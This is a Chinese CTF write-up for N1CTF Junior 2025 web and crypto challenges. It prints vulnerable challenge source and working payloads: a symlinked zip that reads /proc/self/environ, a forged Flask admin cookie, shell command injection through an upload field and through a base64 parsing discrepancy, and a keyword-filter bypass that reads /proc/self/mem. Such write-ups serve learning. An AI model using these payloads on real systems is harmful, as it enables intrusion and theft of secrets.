还是太难了QWQ,等补档了……

wp参考
https://c1oudfl0w0.github.io/blog/2025/09/13/N1CTF-Junior-2025-2-2
https://enoch.host/archives/n1ctf-junior-2025
https://mp.weixin.qq.com/s/NtgULOY4uKJ5MT3L5WLcqA
https://onehang01.github.io/2025/09/15/n1ctf-web-wp/
https://www.cnblogs.com/lee0/p/19095583

Web

online_unzipper

import os
import uuid
from flask import Flask, request, redirect, url_for, send_file, render_template, session, send_from_directory, abort, Response

app = Flask(__name__)
app.secret_key = os.environ.get("FLASK_SECRET_KEY", "test_key")
UPLOAD_FOLDER = os.path.join(os.getcwd(), "uploads")
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

users = {}


@app.route("/")
def index():
if "username" not in session:
return redirect(url_for("login"))
return redirect(url_for("upload"))


@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]

if username in users:
return "用户名已存在"

users[username] = {"password": password, "role": "user"}
return redirect(url_for("login"))

return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]

if username in users and users[username]["password"] == password:
session["username"] = username
session["role"] = users[username]["role"]
return redirect(url_for("upload"))
else:
return "用户名或密码错误"

return render_template("login.html")


@app.route("/logout")
def logout():
session.clear()
return redirect(url_for("login"))


@app.route("/upload", methods=["GET", "POST"])
def upload():
if "username" not in session:
return redirect(url_for("login"))

if request.method == "POST":
file = request.files["file"]
if not file:
return "未选择文件"

role = session["role"]

if role == "admin":
dirname = request.form.get("dirname") or str(uuid.uuid4())
else:
dirname = str(uuid.uuid4())

target_dir = os.path.join(UPLOAD_FOLDER, dirname)
os.makedirs(target_dir, exist_ok=True)

zip_path = os.path.join(target_dir, "upload.zip")
file.save(zip_path)

try:
os.system(f"unzip -o {zip_path} -d {target_dir}")
except:
return "解压失败,请检查文件格式"

os.remove(zip_path)
return f"解压完成!<br>下载地址: <a href='{url_for('download', folder=dirname)}'>{request.host_url}download/{dirname}</a>"

return render_template("upload.html")


@app.route("/download/<folder>")
def download(folder):
target_dir = os.path.join(UPLOAD_FOLDER, folder)
if not os.path.exists(target_dir):
abort(404)

files = os.listdir(target_dir)
return render_template("download.html", folder=folder, files=files)


@app.route("/download/<folder>/<filename>")
def download_file(folder, filename):
file_path = os.path.join(UPLOAD_FOLDER, folder, filename)
try:
with open(file_path, 'r') as file:
content = file.read()
return Response(
content,
mimetype="application/octet-stream",
headers={
"Content-Disposition": f"attachment; filename={filename}"
}
)
except FileNotFoundError:
return "File not found", 404
except Exception as e:
return f"Error: {str(e)}", 500


if __name__ == "__main__":
app.run(host="0.0.0.0")

这题很明显需要进行session伪造,因此我们需要得到secret_key,正常情况下会在/app/config/secret_key.py

同时也关注到os.system(f"unzip -o {zip_path} -d {target_dir}"),这里有命令执行,而且输入参数dirnameadmin可控的,这就给了命令拼接执行的可能了

然后,再关注总体功能,它实现了用户上传压缩包的在线解压,并且解压到随机目录或者admin指定的目录
这里,我们可以利用软链接实现任意文件读取(那为什么不直接读flag呢?因为它的文件名是flag-xxxx.txt,我们是不可能猜到的)

RAND=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 32)
FLAG_FILE="/flag-$RAND.txt"
ln -s /proc/self/environ env
zip --symlinks a.zip env

但是,并没有读到secret_key.py,所以读环境变量即可
FLASK_SECRET_KEY=#mu0cw9F#7bBCoF!

cookie可以用这个网站解一下

pip install flask-unsign
flask-unsign --sign --cookie "{'role': 'admin', 'username': 'test'}" --secret '#mu0cw9F#7bBCoF!'

得到eyJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6ImN0ZiJ9.aMU3Hg.mFcpn_I-PZD0UTVj4JyWI_NV2HM,可以伪造admin

然后我们随便选一个压缩包1.zip指定解压目录,然后命令拼接flag重定向带出来

curl -X POST http://60.205.163.215:13699/upload -b "session=eyJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6ImN0ZiJ9.aMU3Hg.mFcpn_I-PZD0UTVj4JyWI_NV2HM" -F "file=@1.zip" -F "dirname=1 & cat /flag* > /app/uploads/1/flag"

在这里命令拼接&|都是可以的,一开始被;卡住了,换一个就好(?怎么感觉就我有问题,下次再也不用ai给的curl了x)

访问http://60.205.163.215:13699/download/1,下载flag皆可

ping(补)

是熟悉的ping

import base64
import subprocess
import re
import ipaddress
import flask

def run_ping(ip_base64):
try:
decoded_ip = base64.b64decode(ip_base64).decode('utf-8')
if not re.match(r'^\d+\.\d+\.\d+\.\d+$', decoded_ip):
return False
if decoded_ip.count('.') != 3:
return False

if not all(0 <= int(part) < 256 for part in decoded_ip.split('.')):
return False
if not ipaddress.ip_address(decoded_ip):
return False
if len(decoded_ip) > 15:
return False
if not re.match(r'^[A-Za-z0-9+/=]+$', ip_base64):
return False
except Exception as e:
return False
command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""

try:
process = subprocess.run(
command,
shell=True,
check=True,
capture_output=True,
text=True
)
return process.stdout
except Exception as e:
return False

app = flask.Flask(__name__)

@app.route('/ping', methods=['POST'])
def ping():
data = flask.request.json
ip_base64 = data.get('ip_base64')
if not ip_base64:
return flask.jsonify({'error': 'no ip'}), 400

result = run_ping(ip_base64)
if result:
return flask.jsonify({'success': True, 'output': result}), 200
else:
return flask.jsonify({'success': False}), 400

@app.route('/')
def index():
return flask.render_template('index.html')

app.run(host='0.0.0.0', port=5000)

感觉这题过滤得死死的,只能是ip的正常格式,长度也受限制,根本无从下手……

好奇怪,题目要求应该是输入base64编码,但我只能输ip,本地是这样,当时的远程好像也是这样。。。
后面发现了,直接在前端输会被base64编码,所以建议使用hackbar或者yakit等发包工具

重点关注command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""

ip_base64是,先通过Pythonbase64库解码校验之后,再经过Linux的命令行解码,而在Python中是存在Bug

我就说为什么要解两次码,原来是这样的

base64.b64decode不会对=之后的内容继续解码,从而通过只能是ip格式的校验,而base64 -d会将编码从中间拆开分别解码再拼接,从而可以命令拼接执行,因此我们将两部分拆开即可0.0.0.0 ;cat /flag
MC4wLjAuMA== O2NhdCAvZmxhZw==

然后拼接

POST /ping

Content-Type: application/json

{
'ip_base64': 'MC4wLjAuMA==O2NhdCAvZmxhZw=='
}

# flag{bAse64_15_DIffER3N7_IN_LInUX_anD_pytH0N_i9a7m}

好玩!

Peek a Fork(补)

伪HTTP解析器

import socket
import os
import hashlib
import fcntl
import re
import mmap

with open('flag.txt', 'rb') as f:
flag = f.read()
mm = mmap.mmap(-1, len(flag))
mm.write(flag)
os.remove('flag.txt')

FORBIDDEN = [b'flag', b'proc', b'<', b'>', b'^', b"'", b'"', b'..', b'./']
PAGE = """<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Secure Gateway</title>
<style>
body { font-family: 'Courier New', monospace; background-color: #0c0c0c; color: #00ff00; text-align: center; margin-top: 10%; }
.container { border: 1px solid #00ff00; padding: 2rem; display: inline-block; }
h1 { font-size: 2.5rem; text-shadow: 0 0 5px #00ff00; }
p { font-size: 1.2rem; }
.status { color: #ffff00; }
</style>
</head>
<body>
<div class="container">
<h1>Firewall</h1>
<p class="status">STATUS: All systems operational.</p>
<p>Your connection has been inspected.</p>
</div>
</body>
</html>"""

def handle_connection(conn, addr, log, factor=1):
try:
conn.settimeout(10.0)

if log:
with open('log.txt', 'a') as f:
fcntl.flock(f, fcntl.LOCK_EX)
log_bytes = f"{addr[0]}:{str(addr[1])}:{str(conn)}".encode()
for _ in range(factor):
log_bytes = hashlib.sha3_256(log_bytes).digest()
log_entry = log_bytes.hex() + "\n"
f.write(log_entry)

request_data = conn.recv(256)
if not request_data.startswith(b"GET /"):
response = b"HTTP/1.1 400 Bad Request\r\n\r\nInvalid Request"
conn.sendall(response)
return
try:
path = request_data.split(b' ')[1]
pattern = rb'\?offset=(\d+)&length=(\d+)'

offset = 0
length = -1

match = re.search(pattern, path)

if match:
offset = int(match.group(1).decode())
length = int(match.group(2).decode())

clean_path = re.sub(pattern, b'', path)
filename = clean_path.strip(b'/').decode()
else:
filename = path.strip(b'/').decode()

except Exception:
response = b"HTTP/1.1 400 Bad Request\r\n\r\nInvalid Request"
conn.sendall(response)
return

if not filename:
response_body = PAGE
response_status = "200 OK"
else:
try:
with open(os.path.normpath(filename), 'rb') as f:
if offset > 0:
f.seek(offset)

data_bytes = f.read(length)
response_body = data_bytes.decode('utf-8', 'ignore')
response_status = "200 OK"
except Exception as e:
response_body = f"Invalid path"
response_status = "500 Internal Server Error"

response = f"HTTP/1.1 {response_status}\r\nContent-Length: {len(response_body)}\r\n\r\n{response_body}"
conn.sendall(response.encode())

except Exception:
pass
finally:
conn.close()
os._exit(0)

def main():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', 1337))
server.listen(50)
print(f"Server listening on port 1337...")

while True:
try:
pid, status = os.waitpid(-1, os.WNOHANG)
except ChildProcessError:
pass
conn, addr = server.accept()

initial_data = conn.recv(256, socket.MSG_PEEK)
if any(term in initial_data.lower() for term in FORBIDDEN):
conn.sendall(b"HTTP/1.1 403 Forbidden\r\n\r\nSuspicious request pattern detected.")
conn.close()
continue

if initial_data.startswith(b'GET /?log=1'):
try:
factor = 1
pattern = rb"&factor=(\d+)"
match = re.search(pattern, initial_data)
if match:
factor = int(match.group(1).decode())
pid = os.fork()
if pid == 0:
server.close()
handle_connection(conn, addr, True, factor)
except Exception as e:
print("[ERROR]: ", e)
finally:
conn.close()
continue
else:
pid = os.fork()
if pid == 0:
server.close()
handle_connection(conn, addr, False)

conn.close()

if __name__ == '__main__':
main()

这题把flag内存里面了,既然如此,肯定是要读/proc/self/mem,但得先读maps(内存映射),因为mem里面有些内容我们是没有权限读的

WAF: FORBIDDEN = [b'flag', b'proc', b'<', b'>', b'^', b"'", b'"', b'..', b'./']

先看总体功能,该伪HTTP解析器,实现了任意文件读取的功能,同时还可以通过url参数offsetlength读取文件的特定部分,并且还有一个日志记录功能/?log=1

非预期

path = request_data.split(b' ')[1]
pattern = rb'\?offset=(\d+)&length=(\d+)'

offset = 0
length = -1

match = re.search(pattern, path)

if match:
offset = int(match.group(1).decode())
length = int(match.group(2).decode())

clean_path = re.sub(pattern, b'', path)

这段代码处理了请求体,先把offset length匹配出来再将它们置空置空是一个非常危险的操作,我们可以通过类似双写的方式,从而绕过关键字的waf

GET /.?offset=0&length=100000.?offset=0&length=10000/pr?offset=0&length=100000oc/self/maps HTTP/1.1
Host: 60.205.163.215:17309

工作目录在/app,所以得目录穿越一下,/../proc/self/maps

懒得本地搭环境,直接偷过来了

56395827e000-56395827f000 r--p 00000000 103:00 15523385                  /usr/local/bin/python3.12
56395827f000-563958280000 r-xp 00001000 103:00 15523385 /usr/local/bin/python3.12
563958280000-563958281000 r--p 00002000 103:00 15523385 /usr/local/bin/python3.12
563958281000-563958282000 r--p 00002000 103:00 15523385 /usr/local/bin/python3.12
563958282000-563958283000 rw-p 00003000 103:00 15523385 /usr/local/bin/python3.12
563959f5f000-56395a3b0000 rw-p 00000000 00:00 0 [heap]
7fa2fe996000-7fa2fe998000 r--p 00000000 103:00 15524156 /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa2fe998000-7fa2fe99b000 r-xp 00002000 103:00 15524156 /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa2fe99b000-7fa2fe99d000 r--p 00005000 103:00 15524156 /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa2fe99d000-7fa2fe99e000 r--p 00006000 103:00 15524156 /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa2fe99e000-7fa2fe99f000 rw-p 00007000 103:00 15524156 /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa2fe99f000-7fa2fe9a0000 r--p 00000000 103:00 15524153 /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa2fe9a0000-7fa2fe9a2000 r-xp 00001000 103:00 15524153 /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa2fe9a2000-7fa2fe9a4000 r--p 00003000 103:00 15524153 /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa2fe9a4000-7fa2fe9a5000 r--p 00004000 103:00 15524153 /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa2fe9a5000-7fa2fe9a6000 rw-p 00005000 103:00 15524153 /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa2fe9a6000-7fa2fe9a8000 r--p 00000000 103:00 15524094 /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa2fe9a8000-7fa2fe9af000 r-xp 00002000 103:00 15524094 /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa2fe9af000-7fa2fe9b1000 r--p 00009000 103:00 15524094 /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa2fe9b1000-7fa2fe9b2000 r--p 0000a000 103:00 15524094 /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa2fe9b2000-7fa2fe9b3000 rw-p 0000b000 103:00 15524094 /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa2fe9b3000-7fa2fe9b8000 r--p 00000000 103:00 15520405 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa2fe9b8000-7fa2fea67000 r-xp 00005000 103:00 15520405 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa2fea67000-7fa2fea7b000 r--p 000b4000 103:00 15520405 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa2fea7b000-7fa2fea7c000 r--p 000c8000 103:00 15520405 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa2fea7c000-7fa2fea7d000 rw-p 000c9000 103:00 15520405 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa2fea7d000-7fa2fea80000 r--p 00000000 103:00 15520403 /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa2fea80000-7fa2fea94000 r-xp 00003000 103:00 15520403 /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa2fea94000-7fa2fea9b000 r--p 00017000 103:00 15520403 /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa2fea9b000-7fa2fea9c000 r--p 0001d000 103:00 15520403 /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa2fea9c000-7fa2fea9d000 rw-p 0001e000 103:00 15520403 /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa2fea9d000-7fa2feb94000 r--p 00000000 103:00 15520163 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa2feb94000-7fa2fef15000 r-xp 000f7000 103:00 15520163 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa2fef15000-7fa2ff04c000 r--p 00478000 103:00 15520163 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa2ff04c000-7fa2ff0cf000 r--p 005ae000 103:00 15520163 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa2ff0cf000-7fa2ff0d2000 rw-p 00631000 103:00 15520163 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa2ff0d2000-7fa2ff0d5000 rw-p 00000000 00:00 0
7fa2ff0d5000-7fa2ff0d9000 r--p 00000000 103:00 15524114 /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa2ff0d9000-7fa2ff0df000 r-xp 00004000 103:00 15524114 /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa2ff0df000-7fa2ff0e3000 r--p 0000a000 103:00 15524114 /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa2ff0e3000-7fa2ff0e4000 r--p 0000d000 103:00 15524114 /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa2ff0e4000-7fa2ff0e6000 rw-p 0000e000 103:00 15524114 /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa2ff0e6000-7fa2ff0ea000 r--p 00000000 103:00 15524149 /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa2ff0ea000-7fa2ff0f1000 r-xp 00004000 103:00 15524149 /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa2ff0f1000-7fa2ff0f5000 r--p 0000b000 103:00 15524149 /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa2ff0f5000-7fa2ff0f6000 r--p 0000f000 103:00 15524149 /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa2ff0f6000-7fa2ff0f7000 rw-p 00010000 103:00 15524149 /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa2ff0f7000-7fa2ff1f7000 rw-p 00000000 00:00 0
7fa2ff1f7000-7fa2ff1f9000 r--p 00000000 103:00 15524161 /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa2ff1f9000-7fa2ff1fc000 r-xp 00002000 103:00 15524161 /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa2ff1fc000-7fa2ff1fe000 r--p 00005000 103:00 15524161 /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa2ff1fe000-7fa2ff1ff000 r--p 00006000 103:00 15524161 /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa2ff1ff000-7fa2ff200000 rw-p 00007000 103:00 15524161 /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa2ff200000-7fa2ff300000 rw-p 00000000 00:00 0
7fa2ff300000-7fa2ff304000 r--p 00000000 103:00 15524131 /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa2ff304000-7fa2ff30f000 r-xp 00004000 103:00 15524131 /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa2ff30f000-7fa2ff318000 r--p 0000f000 103:00 15524131 /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa2ff318000-7fa2ff319000 r--p 00017000 103:00 15524131 /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa2ff319000-7fa2ff31a000 rw-p 00018000 103:00 15524131 /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa2ff31a000-7fa2ff51a000 rw-p 00000000 00:00 0
7fa2ff51a000-7fa2ff52b000 r--p 00000000 103:00 15520236 /usr/lib/x86_64-linux-gnu/libm.so.6
7fa2ff52b000-7fa2ff5a8000 r-xp 00011000 103:00 15520236 /usr/lib/x86_64-linux-gnu/libm.so.6
7fa2ff5a8000-7fa2ff608000 r--p 0008e000 103:00 15520236 /usr/lib/x86_64-linux-gnu/libm.so.6
7fa2ff608000-7fa2ff609000 r--p 000ed000 103:00 15520236 /usr/lib/x86_64-linux-gnu/libm.so.6
7fa2ff609000-7fa2ff60a000 rw-p 000ee000 103:00 15520236 /usr/lib/x86_64-linux-gnu/libm.so.6
7fa2ff60a000-7fa2ff632000 r--p 00000000 103:00 15520148 /usr/lib/x86_64-linux-gnu/libc.so.6
7fa2ff632000-7fa2ff797000 r-xp 00028000 103:00 15520148 /usr/lib/x86_64-linux-gnu/libc.so.6
7fa2ff797000-7fa2ff7ed000 r--p 0018d000 103:00 15520148 /usr/lib/x86_64-linux-gnu/libc.so.6
7fa2ff7ed000-7fa2ff7f1000 r--p 001e2000 103:00 15520148 /usr/lib/x86_64-linux-gnu/libc.so.6
7fa2ff7f1000-7fa2ff7f3000 rw-p 001e6000 103:00 15520148 /usr/lib/x86_64-linux-gnu/libc.so.6
7fa2ff7f3000-7fa2ff800000 rw-p 00000000 00:00 0
7fa2ff800000-7fa2ff900000 r--p 00000000 103:00 15523607 /usr/local/lib/libpython3.12.so.1.0
7fa2ff900000-7fa2ffb1f000 r-xp 00100000 103:00 15523607 /usr/local/lib/libpython3.12.so.1.0
7fa2ffb1f000-7fa2ffc6f000 r--p 0031f000 103:00 15523607 /usr/local/lib/libpython3.12.so.1.0
7fa2ffc6f000-7fa2ffce6000 r--p 0046e000 103:00 15523607 /usr/local/lib/libpython3.12.so.1.0
7fa2ffce6000-7fa2ffe55000 rw-p 004e5000 103:00 15523607 /usr/local/lib/libpython3.12.so.1.0
7fa2ffe55000-7fa2ffe56000 rw-p 00000000 00:00 0
7fa2ffe5c000-7fa2ffe5f000 r--p 00000000 103:00 15524155 /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa2ffe5f000-7fa2ffe67000 r-xp 00003000 103:00 15524155 /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa2ffe67000-7fa2ffe6c000 r--p 0000b000 103:00 15524155 /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa2ffe6c000-7fa2ffe6d000 r--p 0000f000 103:00 15524155 /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa2ffe6d000-7fa2ffe6e000 rw-p 00010000 103:00 15524155 /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa2ffe6e000-7fa2ffed4000 rw-p 00000000 00:00 0
7fa2ffed4000-7fa2ffedb000 r--s 00000000 103:00 15520059 /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
7fa2ffedb000-7fa2fff35000 r--p 00000000 103:00 15519696 /usr/lib/locale/C.utf8/LC_CTYPE
7fa2fff35000-7fa2fff37000 rw-p 00000000 00:00 0
7fa2fff38000-7fa2fff39000 rw-s 00000000 00:01 6174 /dev/zero (deleted)
7fa2fff39000-7fa2fff3b000 rw-p 00000000 00:00 0
7fa2fff3b000-7fa2fff3c000 r--p 00000000 103:00 15520122 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa2fff3c000-7fa2fff64000 r-xp 00001000 103:00 15520122 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa2fff64000-7fa2fff6f000 r--p 00029000 103:00 15520122 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa2fff6f000-7fa2fff71000 r--p 00034000 103:00 15520122 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa2fff71000-7fa2fff72000 rw-p 00036000 103:00 15520122 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa2fff72000-7fa2fff73000 rw-p 00000000 00:00 0
7ffe68e9d000-7ffe68ebe000 rw-p 00000000 00:00 0 [stack]
7ffe68ec9000-7ffe68ecd000 r--p 00000000 00:00 0 [vvar]
7ffe68ecd000-7ffe68ecf000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

/dev/zeroLinux零字节设备,本身不存储任何数据,但通过mmap映射它时,会生成一块初始值为 0、支持读写的内存区域

由于/dev/zero映射区的特性(初始为 0、支持共享、无需关联真实文件数据),进程会通过mmap("/dev/zero", ...)创建这块内存,再将flag主动写入到这个映射区(覆盖初始的 0 值)

7fa2fff38000转换为十进制数

GET /.?offset=140338055577600&length=100000.?offset=0&length=10000/pr?offset=0&length=100000oc/self/mem HTTP/1.1
Host: 60.205.163.215:17309

这里也偷一个计算偏移和长度的脚本

import re

maps = open("maps.txt")
b = maps.read()
list = b.split('\n')
for line in list:
if 'rw' in line:
addr = re.search('([0-9a-f]+)-([0-9a-f]+)', line)
# 正则匹配地址,地址格式为十六进制数[0-9a-f],reserch会返回一个re.Match对象,用括号括起来是为了使用group()处理返回结果。
start = int(addr.group(1), 16) # 将十六进制字符转化为十进制数,为了符合start参数格式参考链接
end = int(addr.group(2), 16) # 将十六进制字符转化为十进制数,为了符合end参数格式
print(start, end)
print(end-start)

好一个代码审计,这里只是非预期(?),预期解应该是打log(?)

预期(?)

本题的接收代码函数只出现了两次,但initial_data = conn.recv(256, socket.MSG_PEEK),此处多了参数MSG_PEEK

MSG_PEEK: 表示只是从缓冲区读取内容而不清除缓冲区,也就是说下次读取还是相同的内容,多进程需要读取相同数据的时候可以使用

所以它的作用是,用来预处理,看接收的信息是否含有禁止的关键字以及是否开启log模式

真正的读出并清除缓冲区是在handle_connection,此处还有一个接收request_data = conn.recv(256)

在读入前,如果开了log模式,会优先进行log再读入,我们可以传入一个较大的factor,然后在这段时间里发送不能被waf接受的数据,而路径中被污染的/?log=1&factor=100000则在后续数据用…/覆盖

只发送一遍,会得到500的响应,而且修改factor的值会出现没有反应的问题

两个都发送的话,会直接返回403
所以我也不知道本地是否可行了,但感觉peek确实是预期解,再蹲一下其他人或者出题人的wp

from pwn import *

host = '127.0.0.1'
port = 1337

remote1 = remote(host, port)

remote1.send(b'GET /?log=1&factor=100000')
remote1.send(f'/../../../proc/self/maps'.encode())
resp = remote1.recv()
print(resp)

可惜的是,本地验证失败了
这里记录一下本地起docker的流程

# 先把这个大包pull下来,直接构建大概率会失败
docker pull python:3.12-slim

# 构建
docker build -t peek .

# 做端口映射
docker run -d -p 1337:1337 --name web peek

Unfinished(待学习)

程序好像有点Bug,别急,明年就修复了(

from flask import Flask, request, render_template, redirect, url_for, flash, render_template_string, make_response
from flask_login import LoginManager, UserMixin, login_user, logout_user, current_user, login_required
import requests
from markupsafe import escape
from playwright.sync_api import sync_playwright
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'

login_manager = LoginManager()
login_manager.init_app(app)
login_manager.login_view = 'login'

class User(UserMixin):
def __init__(self, id, username, password, bio=""):
self.id = id
self.username = username
self.password = password
self.bio = bio
admin_password = os.urandom(12).hex()

USERS_DB = {'admin': User(id=1, username='admin', password=admin_password)}
USER_ID_COUNTER = 1

@login_manager.user_loader
def load_user(user_id):
for user in USERS_DB.values():
if str(user.id) == user_id:
return user
return None

@app.route('/')
def index():
return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
global USER_ID_COUNTER
if request.method == 'POST':
username = request.form['username']
if username in USERS_DB:
flash('Username already exists.')
return redirect(url_for('register'))

USER_ID_COUNTER += 1
new_user = User(
id=USER_ID_COUNTER,
username=username,
password=request.form['password']
)
USERS_DB[username] = new_user
login_user(new_user)
response = make_response(redirect(url_for('index')))
response.set_cookie('ticket', 'your_ticket_value')
return response
return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user = USERS_DB.get(username)
if user and user.password == password:
login_user(user)
return redirect(url_for('index'))
flash('Invalid credentials.')
return render_template('login.html')

@app.route('/logout')
@login_required
def logout():
logout_user()
return redirect(url_for('index'))

@app.route('/profile', methods=['GET', 'POST'])
@login_required
def profile():
if request.method == 'POST':
current_user.bio = request.form['bio']
print(current_user.bio)
return redirect(url_for('index'))
return render_template('profile.html')

@app.route('/ticket', methods=['GET', 'POST'])
def ticket():
if request.method == 'POST':
ticket = request.form['ticket']
response = make_response(redirect(url_for('index')))
response.set_cookie('ticket', ticket)
return response
return render_template('ticket.html')

@app.route("/view", methods=["GET"])
@login_required
def view_user():
"""
# I found a bug in it.
# Until I fix it, I've banned /api/bio/. Have fun :)
"""
username = request.args.get("username",default=current_user.username)
visit_url(f"http://localhost/api/bio/{username}")
template = f"""
{{% extends "base.html" %}}
{{% block title %}}success{{% endblock %}}
{{% block content %}}
<h1>bot will visit your bio</h1>
<p style="margin-top: 1.5rem;"><a href="{{{{ url_for('index') }}}}">Back to Home</a></p>
{{% endblock %}}
"""
return render_template_string(template)


@app.route("/api/bio/<string:username>", methods=["GET"])
@login_required
def get_user_bio(username):
if not current_user.username == username:
return "Unauthorized", 401
user = USERS_DB.get(username)
if not user:
return "User not found.", 404
return user.bio

def visit_url(url):
try:
flag_value = os.environ.get('FLAG', 'flag{fake}')

with sync_playwright() as p:
browser = p.chromium.launch(headless=True, args=["--no-sandbox"])
context = browser.new_context()

context.add_cookies([{
'name': 'flag',
'value': flag_value,
'domain': 'localhost',
'path': '/',
'httponly': True
}])

page = context.new_page()
page.goto("http://localhost/login", timeout=5000)
page.fill("input[name='username']", "admin")
page.fill("input[name='password']", admin_password)
page.click("input[name='submit']")
page.wait_for_timeout(3000)
page.goto(url, timeout=5000)
page.wait_for_timeout(5000)
browser.close()

except Exception as e:
print(f"Bot error: {str(e)}")


if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)

Crypto

sign in the ca7s(补)

Sign in the cats, so that you can cat the flag! 🐱
Note: This is the easy version of “sign the ca7s”.

from Crypto.Util.number import bytes_to_long
from hashlib import md5
import os

FLAG = os.environ.get("FLAG", "flag{**redacted**}")

E = EllipticCurve(GF(0x1337_ca7_eae368ff5d702e6067aaaa77ca_ca7_1337), [0, 3])
G, n = E(1, 2), E.order()

def sign(priv, ctx, msg):
